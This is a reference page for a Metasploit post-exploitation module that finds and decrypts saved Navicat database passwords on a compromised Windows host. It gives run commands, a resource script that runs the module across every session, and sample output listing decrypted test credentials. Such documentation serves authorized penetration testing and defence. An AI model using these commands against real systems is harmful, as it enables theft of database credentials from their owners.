Windows Gather Navicat Passwords - Metasploit


This page contains detailed information about how to use the post/windows/gather/credentials/navicat metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows Gather Navicat Passwords
Module: post/windows/gather/credentials/navicat
Source code: modules/post/windows/gather/credentials/navicat.rb
Disclosure date: -
Last modification time: 2022-11-07 12:28:10 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will find and decrypt stored Navicat passwords

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/credentials/navicat

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/credentials/navicat
msf post(navicat) > show options
    ... show and set options ...
msf post(navicat) > set SESSION session-id
msf post(navicat) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/credentials/navicat")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on

Knowledge Base


Vulnerable Application


This module can decrypt the password of navicat, If the user chooses to remember the password.

Analysis of encryption algorithm here.

You can find its official website here.

Verification Steps


  1. Download the latest installer of Navicat.
  2. Use navicat to log in to DB server.
  3. Remember to save the account password.
  4. Get a meterpreter session on a Windows host.
  5. Do: run post/windows/gather/credentials/navicat
  6. If the session file is saved in the system, the host, port, user name and plaintext password will be printed.

Options


NCX_PATH

Specify the path of the NCX export file. e.g.: connections.ncx

Scenarios


meterpreter > run post/windows/gather/credentials/navicat 

*] Gathering Navicat password information from WIN-79MR8QJM50N 
Navicat Sessions 
================

Name            Protocol  Hostname   Port   Username  Password
----            --------  --------   ----   --------  --------
mongodb         mongodb   localhost  27017  user      password  
test_mysql      mysql     localhost  3306   root      test_mysql_password 
test_oracle     oracle    127.0.0.1  1521   user      password
test_pg         postgres  localhost  5432   postgres  test_pg_password
test_sqlserver  mssql     127.0.0.1  1433   user      password

[+] Session info stored in: /home/kali-team/.msf4/loot/20221002233644_default_192.168.80.128_host.navicat_ses_919319.txt
[*] Post module execution completed
meterpreter > 
  • Specify NCX_PATH
msf6 post(windows/gather/credentials/navicat) > set ncx_path C:\\Users\\FireEye\\Desktop\\connections.ncx
ncx_path => C:\Users\FireEye\Desktop\connections.ncx
msf6 post(windows/gather/credentials/navicat) > run

[*] Gathering Navicat password information from WIN-79MR8QJM50N
[*] Looking for C:\Users\FireEye\Desktop\connections.ncx
[+] navicat.ncx saved to /home/kali-team/.msf4/loot/20221002234356_default_192.168.80.128_navicat.creds_838577.txt
Navicat Sessions
================

Name            Protocol  Hostname   Port   Username  Password
----            --------  --------   ----   --------  --------
mongodb         mongodb   localhost  27017  user      password  
test_mysql      mysql     localhost  3306   root      test_mysql_password 
test_oracle     oracle    127.0.0.1  1521   user      password
test_pg         postgres  localhost  5432   postgres  test_pg_password
test_sqlserver  mssql     127.0.0.1  1433   user      password

[+] Session info stored in: /home/kali-team/.msf4/loot/20221002234356_default_192.168.80.128_host.navicat_ses_522370.txt
[*] Finished processing C:\Users\FireEye\Desktop\connections.ncx
[*] Post module execution completed


Go back to menu.

Msfconsole Usage


Here is how the windows/gather/credentials/navicat post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/credentials/navicat

msf6 post(windows/gather/credentials/navicat) > show info

       Name: Windows Gather Navicat Passwords
     Module: post/windows/gather/credentials/navicat
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  HyperSine
  Kali-Team <[email protected]>

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  NCX_PATH                   no        Specify the path of the NCX export file (e.g. connections.ncx).
  SESSION                    yes       The session to run this module on

Description:
  This module will find and decrypt stored Navicat passwords

References:
  https://github.com/HyperSine/how-does-navicat-encrypt-password
  https://blog.kali-team.cn/Metasploit-Navicat-fbc1390cf57c40b5b576584c48b8e125

View the full module info with the info -d command.

Module Options


This is a complete list of options available in the windows/gather/credentials/navicat post exploitation module:

msf6 post(windows/gather/credentials/navicat) > show options

Module options (post/windows/gather/credentials/navicat):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   NCX_PATH                   no        Specify the path of the NCX export file (e.g. connections.ncx).
   SESSION                    yes       The session to run this module on

View the full module info with the info, or info -d command.

Advanced Options


Here is a complete list of advanced options supported by the windows/gather/credentials/navicat post exploitation module:

msf6 post(windows/gather/credentials/navicat) > show advanced

Module advanced options (post/windows/gather/credentials/navicat):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

View the full module info with the info, or info -d command.

Post Actions


This is a list of all post exploitation actions which the windows/gather/credentials/navicat module can do:

msf6 post(windows/gather/credentials/navicat) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/gather/credentials/navicat post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/credentials/navicat) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Key data is empty, skip saving service credential


Here is a relevant code snippet related to the "Key data is empty, skip saving service credential" error message:

100:	    aes.update(ciphertext)
101:	  end
102:	
103:	  def navicat_store_config(config)
104:	    if %i[hostname service_name port username].any? { |e| config[e].blank? } || config[:password].nil?
105:	      vprint_warning('Key data is empty, skip saving service credential')
106:	      return # If any of these fields are nil or are empty (with the exception of the password field which can be empty),
107:	      # then we shouldn't proceed, as we don't have enough info to store a credential which someone could actually
108:	      # use against a target.
109:	    end
110:	

The file <NCX_PATH> could not be read


Here is a relevant code snippet related to the "The file <NCX_PATH> could not be read" error message:

228:	      ncx_path = datastore['NCX_PATH']
229:	      print_status("Looking for #{ncx_path}")
230:	      begin
231:	        if file_exist?(ncx_path)
232:	          condata = read_file(ncx_path) || ''
233:	          fail_with(Failure::Unknown, "The file #{ncx_path} could not be read") if condata.empty?
234:	
235:	          loot_path = store_loot('navicat.creds', 'text/xml', session, condata, ncx_path)
236:	          print_good("navicat.ncx saved to #{loot_path}")
237:	          parse_xml(condata)
238:	          print_status("Finished processing #{ncx_path}")

The file <NCX_PATH> either could not be read or does not exist


Here is a relevant code snippet related to the "The file <NCX_PATH> either could not be read or does not exist" error message:

236:	          print_good("navicat.ncx saved to #{loot_path}")
237:	          parse_xml(condata)
238:	          print_status("Finished processing #{ncx_path}")
239:	        end
240:	      rescue Rex::Post::Meterpreter::RequestError
241:	        fail_with(Failure::Unknown, "The file #{ncx_path} either could not be read or does not exist")
242:	      end
243:	    else
244:	      get_reg
245:	      print_status('Finished processing from the registry')
246:	    end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • HyperSine
  • Kali-Team <kali-team[at]qq.com>

Version


This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.